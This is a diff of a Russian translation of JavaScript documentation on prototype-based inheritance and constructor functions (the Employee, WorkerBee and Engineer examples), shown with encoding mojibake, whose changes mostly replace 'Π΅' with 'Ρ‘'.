+<p>{{ note('Π’Π΅Ρ€ΠΌΠΈΠ½ <em>экзСмпляр </em>ΠΈΠΌΠ΅Π΅Ρ‚ спСцифичСскоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² языках, основанных на классах. Π’ этих языках экзСмпляр — это ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Π°Ρ ΡΡƒΡ‰Π½ΠΎΡΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ класса ΠΈ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΠΈΠ°Π»ΡŒΠ½ΠΎ отличаСтся ΠΎΡ‚ класса. Π’ JavaScript «экзСмпляр» Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚Π°ΠΊΠΎΠ³ΠΎ тСхничСского значСния, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ JavaScript Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚ Ρ‚Π°ΠΊΠΈΡ… ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΉ ΠΌΠ΅ΠΆΠ΄Ρƒ классами ΠΈ экзСмплярами. Однако, Π² Ρ€Π°Π·Π³ΠΎΠ²ΠΎΡ€Π΅ ΠΎ JavaScript, Ρ‚Π΅Ρ€ΠΌΠΈΠ½ «экзСмпляр» ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для обозначСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, созданного с использованиСм ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ <span>Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ конструктора. Π’Π°ΠΊ, Π² этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π΅Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ ΡΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ <code>jane</code> являСтся экзСмпляром <code>Engineer</code>. Аналогично, хотя Ρ‚Π΅Ρ€ΠΌΠΈΠ½Ρ‹ <em>parent, child, ancestor</em> ΠΈ <em>descendant</em> (<em>Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒ, Ρ€Π΅Π±Ρ‘Π½ΠΎΠΊ, ΠΏΡ€Π΅Π΄ΠΎΠΊ</em> ΠΈ <em>ΠΏΠΎΡ‚ΠΎΠΌΠΎΠΊ</em>) Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π² JavaScript, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… Π½Π΅Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ для ссылки Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π²Ρ‹ΡˆΠ΅ ΠΈΠ»ΠΈ Π½ΠΈΠΆΠ΅</span> <span>Π²</span> <span>Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ².') }}</span></p>
<p><img alt="figure8.3.png" class="default internal" id="figure8.3" src="/@api/deki/files/4403/=figure8.3.png"><br>
<a id="8.3" name="8.3"><small><strong>Рисунок 8.3: Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² с простыми опрСдСлСниями</strong></small></a></p>
@@ -247,21 +247,21 @@ public class Engineer extends WorkerBee {
<h3 id="НаслСдованиС_свойств">НаслСдованиС свойств</h3>
-<p>ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Π²Ρ‹ создаСтС ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>mark</code> Π² качСствС <code>WorkerBee</code> (ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½Π° <a href="#8.3">Рисунок 8.3</a>) с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ выраТСния:</p>
+<p>ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Π²Ρ‹ создаётС ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>mark</code> Π² качСствС <code>WorkerBee</code> (ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½Π° <a href="#8.3">Рисунок 8.3</a>) с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ выраТСния:</p>
<pre class="brush: js">var mark = new WorkerBee;
</pre>
-<p>Когда JavaScript Π²ΠΈΠ΄ΠΈΡ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>new</code>, ΠΎΠ½ создаСт Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹ΠΉ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈ нСявно устанавливаСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π³ΠΎ свойства [[Prototype]] Π² <code>WorkerkBee.prototype</code>, Π·Π°Ρ‚Π΅ΠΌΒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ этот Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π² качСствС значСния <code>this</code> Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ-конструктор <code>WorkerBee</code>. Π’Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π΅ свойство [[Prototype]] опрСдСляСт Ρ†Π΅ΠΏΠΎΡ‡ΠΊΡƒ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… для получСния Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ свойств. ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ эти свойства установлСны, JavaScript Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π° ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ присваивания устанавливаСт ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>mark</code> для этого ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°.</p>
+<p>Когда JavaScript Π²ΠΈΠ΄ΠΈΡ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>new</code>, ΠΎΠ½ создаёт Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈ нСявно устанавливаСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π³ΠΎ свойства [[Prototype]] Π² <code>WorkerkBee.prototype</code>, Π·Π°Ρ‚Π΅ΠΌΒ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ этот Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π² качСствС значСния <code>this</code> Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ-конструктор <code>WorkerBee</code>. Π’Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π΅ свойство [[Prototype]] опрСдСляСт Ρ†Π΅ΠΏΠΎΡ‡ΠΊΡƒ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… для получСния Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ свойств. ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ эти свойства установлСны, JavaScript Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π° ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ присваивания устанавливаСт ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>mark</code> для этого ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°.</p>
-<p>Π­Ρ‚ΠΎΡ‚ процСсс Π½Π΅ Π·Π°Π΄Π°Π΅Ρ‚ значСния свойств (<em>Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ…</em> Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ унаслСдованы ΠΏΠΎ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ², ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>mark</code>Β Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ. Когда Π²Ρ‹ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства, JavaScript сначала провСряСт, сущСствуСт Π»ΠΈ это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² Π΄Π°Π½Π½ΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅. Если Ρ‚Π°ΠΊ ΠΈ Π΅ΡΡ‚ΡŒ, Ρ‚ΠΎΠ³Π΄Π° возвращаСтся это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½ΠΎ Π² самом ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅, JavaScript провСряСт Ρ†Π΅ΠΏΠΎΡ‡ΠΊΡƒ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ² (ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π΅ свойство [[Prorotype]]). Если ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ² ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для искомого свойства, это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ возвращаСтся. Если Ρ‚Π°ΠΊΠΎΠ΅ свойство Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½ΠΎ, JavaScript сообщаСт, Ρ‡Ρ‚ΠΎ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π½Π΅ ΠΎΠ±Π»Π°Π΄Π°Π΅Ρ‚ свойством. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>mark</code> содСрТит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ свойства ΠΈ значСния:</p>
+<p>Π­Ρ‚ΠΎΡ‚ процСсс Π½Π΅ Π·Π°Π΄Π°Ρ‘Ρ‚ значСния свойств (<em>Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ…</em> Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ унаслСдованы ΠΏΠΎ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ², ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>mark</code>Β Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ. Когда Π²Ρ‹ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства, JavaScript сначала провСряСт, сущСствуСт Π»ΠΈ это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² Π΄Π°Π½Π½ΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅. Если Ρ‚Π°ΠΊ ΠΈ Π΅ΡΡ‚ΡŒ, Ρ‚ΠΎΠ³Π΄Π° возвращаСтся это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½ΠΎ Π² самом ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅, JavaScript провСряСт Ρ†Π΅ΠΏΠΎΡ‡ΠΊΡƒ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ² (ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π΅ свойство [[Prorotype]]). Если ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ² ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для искомого свойства, это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ возвращаСтся. Если Ρ‚Π°ΠΊΠΎΠ΅ свойство Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½ΠΎ, JavaScript сообщаСт, Ρ‡Ρ‚ΠΎ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π½Π΅ ΠΎΠ±Π»Π°Π΄Π°Π΅Ρ‚ свойством. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>mark</code> содСрТит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ свойства ΠΈ значСния:</p>
<pre class="brush: js">mark.name = '';
mark.dept = 'general';
mark.projects = [];
</pre>
-<p>ЗначСния для свойств <code>name</code> ΠΈ <code>dept</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΡƒΒ <code>mark</code> ΠΏΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°ΡŽΡ‚ΡΡΒ ΠΈΠ· конструктора <code>Employee</code>. Π’Π°ΠΊΠΆΠ΅ ΠΈΠ· конструктора <code>WorkerBee</code> присваиваСтся локальноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для свойства <code>projects</code>. Π­Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ наслСдованиС свойств и ΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π² JavaScript. НСкоторыС Π΄Π΅Ρ‚Π°Π»ΠΈ этого процСсса ΠΎΠ±ΡΡƒΠΆΠ΄Π°ΡŽΡ‚ΡΡ Π² <a href="#Вонкости_наслСдования_свойств">Вонкости наслСдования свойств</a>.</p>
+<p>ЗначСния для свойств <code>name</code> ΠΈ <code>dept</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΡƒΒ <code>mark</code> ΠΏΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°ΡŽΡ‚ΡΡΒ ΠΈΠ· конструктора <code>Employee</code>. Π’Π°ΠΊΠΆΠ΅ ΠΈΠ· конструктора <code>WorkerBee</code> присваиваСтся локальноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для свойства <code>projects</code>. Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ наслСдованиС свойств и ΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π² JavaScript. НСкоторыС Π΄Π΅Ρ‚Π°Π»ΠΈ этого процСсса ΠΎΠ±ΡΡƒΠΆΠ΄Π°ΡŽΡ‚ΡΡ Π² <a href="#Вонкости_наслСдования_свойств">Вонкости наслСдования свойств</a>.</p>
<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ эти конструкторы Π½Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ значСния, спСцифичныС для экзСмпляра, добавлСнная информация являСтся ΠΎΠ±Ρ‰Π΅ΠΉ. ЗначСния свойств ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΌΠΈ для всСх ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², созданных Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ <code>WorkerBee</code>. ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ значСния любого ΠΈΠ· этих свойств. Π’Π°ΠΊ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ для <code>mark</code> ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
@@ -397,7 +397,7 @@ public class Engineer extends WorkerBee {
<p>{{ note('Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒΒ Π½Π΅ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ оТидаСтся, Ссли функция-конструктор вызываСтся с Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΡŽΡ‚ΡΡ Π² <code><code>false</code></code>, Π²Ρ€ΠΎΠ΄Π΅ нуля (<code>0</code>) ΠΈΠ»ΠΈ пустой строки (<code>""</code>). Π’ этом случаС Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.') }}</p>
-<p>Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ‚Π°ΠΊΠΈΡ… ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΉ, создавая экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Π²Ρ‹Β ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ значСния для локально ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… свойств. Как ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½Π° <a href="#8.5">Рисунок 8.5</a>, ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ для создания Π½ΠΎΠ²ΠΎΠ³ΠΎ <code>Engineer</code>:</p>
+<p>Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ‚Π°ΠΊΠΈΡ… ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΉ, создавая экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Π²Ρ‹Β ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ значСния для локально ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… свойств. Как ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½Π° <a href="#8.5">Рисунок 8.5</a>, ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ для создания Π½ΠΎΠ²ΠΎΠ³ΠΎ <code>Engineer</code>:</p>
<pre class="brush: js">var jane = new Engineer('belau');
</pre>
@@ -412,7 +412,7 @@ jane.machine == 'belau'
<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ с Ρ‚Π°ΠΊΠΈΠΌ способом Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ наслСдуСмого свойства, Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΊΠ°ΠΊ <code>name</code>. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π·Π°Π΄Π°Ρ‚ΡŒ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для наслСдуСмых свойств Π² JavaScript, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ большС ΠΊΠΎΠ΄Π° Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ-конструктор.</p>
-<p>Π”ΠΎ сих ΠΏΠΎΡ€ функция-конструктор создавала ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹ΠΉ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π° Π·Π°Ρ‚Π΅ΠΌ опрСдСляла Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅ свойства ΠΈ значСния для Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ конструктор, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ добавляСт Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ свойства ΠΏΡƒΡ‚Π΅ΠΌ нСпосрСдствСнного Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ-конструктора для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, располоТСнного Π²Ρ‹ΡˆΠ΅ Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ². На ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ рисункС ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ эти Π½ΠΎΠ²Ρ‹Π΅ опрСдСлСния.</p>
+<p>Π”ΠΎ сих ΠΏΠΎΡ€ функция-конструктор создавала ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π° Π·Π°Ρ‚Π΅ΠΌ опрСдСляла Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅ свойства ΠΈ значСния для Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ конструктор, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ добавляСт Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ свойства ΠΏΡƒΡ‚Ρ‘ΠΌ нСпосрСдствСнного Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ-конструктора для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, располоТСнного Π²Ρ‹ΡˆΠ΅ Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ². На ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ рисункС ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ эти Π½ΠΎΠ²Ρ‹Π΅ опрСдСлСния.</p>
<p><img alt="" class="internal" src="/@api/deki/files/4430/=figure8.6.png" style="height: 534px; width: 1063px;"><br>
<small><strong>Рисунок 8.6: ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ свойств Π² конструкторС, Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Β 2</strong></small></p>
@@ -426,7 +426,7 @@ jane.machine == 'belau'
}
</pre>
-<p>ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Π²Ρ‹ создаСтС Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ <code>Engineer, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</code></p>
+<p>ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Π²Ρ‹ создаётС Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ <code>Engineer, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</code></p>
<pre class="brush: js">var jane = new Engineer('Doe, Jane', ['navigator', 'javascript'], 'belau');
</pre>
@@ -434,16 +434,16 @@ jane.machine == 'belau'
<p>JavaScript <span id="result_box" lang="ru"><span>выполняСт ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ дСйствия</span><span>:</span></span></p>
<ol>
- <li>ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>new</code> создаСт ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹ΠΉ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈ устанавливаСт Π΅Π³ΠΎ свойству <code>__proto__</code> Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>Engineer.prototype</code>.</li>
